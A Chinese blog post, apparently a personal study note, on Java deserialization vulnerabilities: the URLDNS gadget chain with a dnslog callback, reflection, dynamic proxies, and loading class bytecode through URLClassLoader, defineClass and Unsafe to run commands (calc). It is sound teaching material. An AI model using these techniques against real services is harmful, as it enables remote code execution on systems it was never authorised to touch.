前言

早知前路多艰辛,仙尊悔而我不悔。Java反序列化,免费一位,开始品鉴,学了这么久web,还没深入研究Java安全,人生一大罪过。诸君,请看。

序列化与反序列化

简单demo:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable; public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
} public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) throws Exception {
// 序列化
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
serialize serialize = new serialize("f12", 20);
oos.writeObject(serialize);
oos.close();
// 反序列化
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
ois.close();
System.out.print(s);
}
} // 输出
serialize@3b07d329

可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操作时,这时将任人拿捏。我想执行什么操作就能执行什么操作

可能的形式

  • 入口类的readObejct直接调用危险方法
  • 入口类参数包含可控类,可控类里有危险方法
  • 入口类参数包含可控类,该类又调用其他含危险方法的类
  • 构造函数/静态代码块等类加载时隐式执行

java反序列化导致执行系统命令

简单demo:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable; public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
} public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
} private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(new serialize("f12", 20));
oos.close();
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
System.out.println(s);
}
}

重写serialize类的readObject方法,当对serialize进行反序列化时调用的是重写后的readObject方法,也就会弹出计算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中执行命令。

反序列化的思路

  • 都继承了Serializeable接口
  • 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
  • 调用链(gadget chain)
  • 执行类 sink(ssrf,rce....)

入口类

入口类一般是Map,Hashmap,HashTable这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable接口,在Hashmap类中也重写了readObject方法:

为什么HashMap要自己实现writeObject和readObject方法

为什么要自己实现?如上文章所诉

调用链

所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能调用链中一般会使用很多重名函数,为了实现不同的效果

执行类

Java反序列化的目的就是为了执行命令,所以最终得找到一个可以执行命令的类,这是相对比较困难的

反序列化漏洞入门(URLDNS)分析

漏洞分析

开局先找重写了readObject的类,这里直接看HashMap:

这里s是我们可控,转变成key,进入了hash函数,继续跟进

这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,所以说同名函数在反序列化中是非常重要的,因为这里分析的是URLDNS链,我们看URL类中有无hashCode函数:

找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,所以我们跟进:

这里重点在于getHostAddress,顾名思义获取host地址,假如我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap; public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://zanqlw.dnslog.cn/");
hashmap.put(url,1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

成功拿到请求

之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出现在hashmap.put这里,我们调试追踪一下:

发现在put的时候就触发了这里的getHostAddress,这时hashCode的值已经发生了改变,所以反序列化的时候根本就没触发DNS请求

那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,所以怎么才能控制hashCode的值呢?这就需要用到反射的知识了

java反射

有反射就有正射

正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象

反射:跟正射反过来,通过实例化一个对象来获取它的类

举个栗子:

package f12;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*; public class reflect {
public static void Serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("user.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// 正射
user user = new user("f12", 20);
Serialize(user);
// 反射
Class c = user.getClass();
Constructor constructor = c.getConstructor(String.class, int.class);
// 获取构造函数
user newuser = (user) constructor.newInstance("F12", 21);
System.out.println(newuser.getName());
// 修改属性
Field name = c.getDeclaredField("name");
// 设置允许修改私有属性
name.setAccessible(true);
name.set(newuser, "F13");
System.out.println(newuser.getName());
}
}
// 输出
F12
F13

可以看出通过反射修改了对象的值,那么就能进行操作了

再战URLDNS

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap; public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://vcx4cu.dnslog.cn/");
Class u = url.getClass();
Constructor constructor = u.getConstructor(String.class);
URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
Field hashCode = u.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(newurl, 1);
hashmap.put(newurl, 1);
hashCode.set(newurl, -1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

成功复仇

JDK静态代理

一个demo:

package Proxy;

public interface Interface {
void rent();
void pay();
}
package Proxy;

public class Direct implements Interface{
public void rent(){
System.out.println("租房");
}
public void pay(){
System.out.println("付款");
}
}
package Proxy;

public class Proxy implements Interface{
public Interface user;
Proxy(Interface user){
this.user = user;
}
public void rent(){
user.rent();
System.out.println("中介帮你租房");
}
public void pay(){
user.pay();
System.out.println("中介帮你付款");
}
}
package Proxy;

public class Main {
public static void main(String[] args) {
Interface user = new Direct();
Interface newuser = new Proxy(user);
System.out.println("你自己:");
user.rent();
user.pay();
System.out.println("找中介:");
newuser.rent();
newuser.pay();
}
}

以上就是一个静态代理的例子,Proxy类相当于中介,我们可以通过它间接的去调用Direct的方法

静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改

JDK动态代理

package Proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; public class UserInvokationHandler implements InvocationHandler {
Interface user;
UserInvokationHandler(Interface user){
this.user = user;
}
@Override
public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
System.out.println("这里是动态代理,调用了方法:"+method.getName());
method.invoke(user, args);
return null;
}
}
package Proxy;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
Interface user = new Direct();
// 动态代理
UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
newuser.rent();
newuser.pay();
}
}

以上就是动态代理,可能有点难以理解,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,这样就代理上了Direct类,可以调用Direct类的方法了

动态代理与反序列化的关系

其实就是因为可能没有同名函数导致无法执行命令的问题,假如我们需要最终反序列化时执行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类

类的动态加载

首先介绍两个代码块:

构造代码块和静态代码块:

{
System.out.println("构造代码块");
} static {
System.out.println("静态代码块");
}

这里涉及到一个类加载的问题,类加载的时候会执行代码(初始化)

package ClassLoader;

public class User {
static {
System.out.println("静态代码块");
} {
System.out.println("构造代码块");
} User() {
System.out.println("无参构造函数");
} User(String key) {
System.out.println("有参构造函数");
}
}
package ClassLoader;

public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User");
}
} // 输出
静态代码块

很明显这里只加载了静态代码块,其余代码块并未执行,我们可以设置类加载的时候不进行初始化,可以看到forName方法中initialize的默认值是true

package ClassLoader;

public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
}
}
// 无输出

设置不初始化的化,就不会执行代码,再来说说实例化也就我们的new,实例化跟初始化是不同的

package ClassLoader;

public class Test {
public static void main(String[] args) throws ClassNotFoundException {
new User();
}
} // 输出
静态代码块
构造代码块
无参构造函数

可以看到实例化是两个代码块都执行了,这就是实例化跟初始化的区别

双亲委派机制

所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。

Java中提供的这四种类型的加载器,是有各自的职责的:

  • Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
  • Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
  • Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
  • User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件

这样看来的话,用户自定义的类是不会让前两个加载器进行加载的,这里调试跟进一下加载过程

这里调用了loadclass,继续跟进

到这里,判断父加载器是否为空,不为空就调用父加载器进行加载

上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader

然后进入defineClass

从结果上看加载进了User类的字节码,分析一下加载器的流程

ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)

URLClassLoader任意类加载

这个类加载器里有个loadclass方法可以通过url来加载类,首先再本地起个web服务

package ClassLoader;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader; public class Test {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
Class user = urlClassLoader.loadClass("ClassLoader.User");
user.newInstance();
}
} // 输出
静态代码块
构造代码块
无参构造函数

ClassLoader加载字节码执行命令

ClassLoader.defineClass可以通过加载类的字节码来加载类,我们可以通过反射来获取到defineClass方法,加载我们自定义的类,来执行命令

package ClassLoader;

import java.io.IOException;

public class Eval {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
} public static void main(String[] args) { }
}
package ClassLoader;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths; public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defindClass.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
eval.newInstance();
}
}

Unsafe加载字节码

package ClassLoader;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths; public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
eval.newInstance();
}
}

这里我们获取的是Unsafe的属性,而不是它的defineclass方法,因为它被native修饰,没法被反射调用

而它的属性theUnsafe其实就是Unsafe对象,所以获取这个属性,再调用defineclass来加载我们的自定义类

Java反序列化学习的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  3. JAVA对象序列化和反序列化学习

    JAVA序列化就是将JAVA对象转化为字节序列的过程,而JAVA反序列化就是将字节序列转化为JAVA对象的过程. 这一过程是通过JAVA虚拟机独立完成,所以一个对象序列化后可以在任意时间和任意机器上反 ...

  4. 从原理学习Java反序列化

    1 序列化与反序列化 1.1 概念 序列化: 将数据结构或对象转换成二进制串的过程 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程 1.2 使用场景 当你想把的内存中的对象状态 ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  7. 转载-java基础学习汇总

    共2页: 1 2 下一页  Java制作证书的工具keytool用法总结 孤傲苍狼 2014-06-24 11:03 阅读:25751 评论:3     Java基础学习总结——Java对象的序列化和 ...

  8. 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞

    前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...

  9. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

  10. 尚学堂JAVA基础学习笔记

    目录 尚学堂JAVA基础学习笔记 写在前面 第1章 JAVA入门 第2章 数据类型和运算符 第3章 控制语句 第4章 Java面向对象基础 1. 面向对象基础 2. 面向对象的内存分析 3. 构造方法 ...

随机推荐

  1. Power BI 10 DAY

    Power BI 上下文 筛选上下文只管筛选,行上下文只管迭代,两者互不干涉,各司其职 计算列操作会自动创建行上下文 度量值不会自动创建行上下文,需要人为使用迭代函数进行行上下文的创建 (迭代函数本身 ...

  2. BZOJ3364 Distance Queries 距离咨询 题解

    原题 简化题意:有一棵 \(n\) 个点的树, \(q\) 组询问,每次询问回答两点间的距离. 令 \(dis[i][j]\) 表示 \(i\) 到 \(j\) 的距离,根节点为 \(rt\) ,则有 ...

  3. 【学习笔记】Tarjan

    更好的阅读体验 前言 凡事都得靠自己 --bobo 催隔壁 @K8He n 天了让他写 \(Tarjan\) 的学习笔记,但貌似还没有动静,所以决定自己写一个. 正文 本文配套题单:14.图论-tar ...

  4. NC14699 队伍配置

    题目链接 题目 题目描述 萌学姐在玩大型手游<futa go>,他现在准备进入作战环节,所以他准备安排自己的队伍. 队伍配置里,可供玩家选择的作战人物被称作"从者",玩 ...

  5. 问题解决:Ubuntu18.04显示器分辨率不正常

    在Ubuntu18.04下出现显示器分辨率不正确的情况,只能选择1024x768的分辨率,没有其它选项,显示器本身可以支持1920x1080的分辨率.经查询,采用cvt, xrandr的方法不成功,显 ...

  6. 从零开始手写缓存框架(二)redis expire 过期原理及实现

    前言 我们在 从零手写 cache 框架(一)实现固定大小的缓存 中已经初步实现了我们的 cache. 本节,让我们来一起学习一下如何实现类似 redis 中的 expire 过期功能. 过期是一个非 ...

  7. Ubuntu/Centos下OpenJ9 POI输出Excel的Bug

    项目更换 JDK为 OpenJ9 后, 使用 POI 导出 Excel 遇到的问题 OpenJ9 版本信息 /opt/jdk/jdk-11.0.17+8/bin/java -version openj ...

  8. 执行shell脚本过程中传递参数

    假设我有一个shell脚本install.sh,在运行过程中需要终端输入一条指令才能继续执行,例如程序询问是否删除某文件,终端需要输入Y/N.采用下面的方式可以实现自动输入参数,无需人工干预: ech ...

  9. 【Android逆向】Frida 无脑暴力破解看雪test2.apk

    1. 安装apk到手机 adb install -t test2.apk apk下载位置: https://www.kanxue.com/work-task_read-800625.htm 2. 题目 ...

  10. 变量,六大数据类型之字符串、列表、元祖----day02

    1.变量:可以改变的量,实际具体指的是内存中的一块存储空间 (1)变量的概念 (2)变量的声明 (3)变量的命名 (4)变量的交换 *常量就是不可改变的量,python当中没有明确定义常量的关键字,所 ...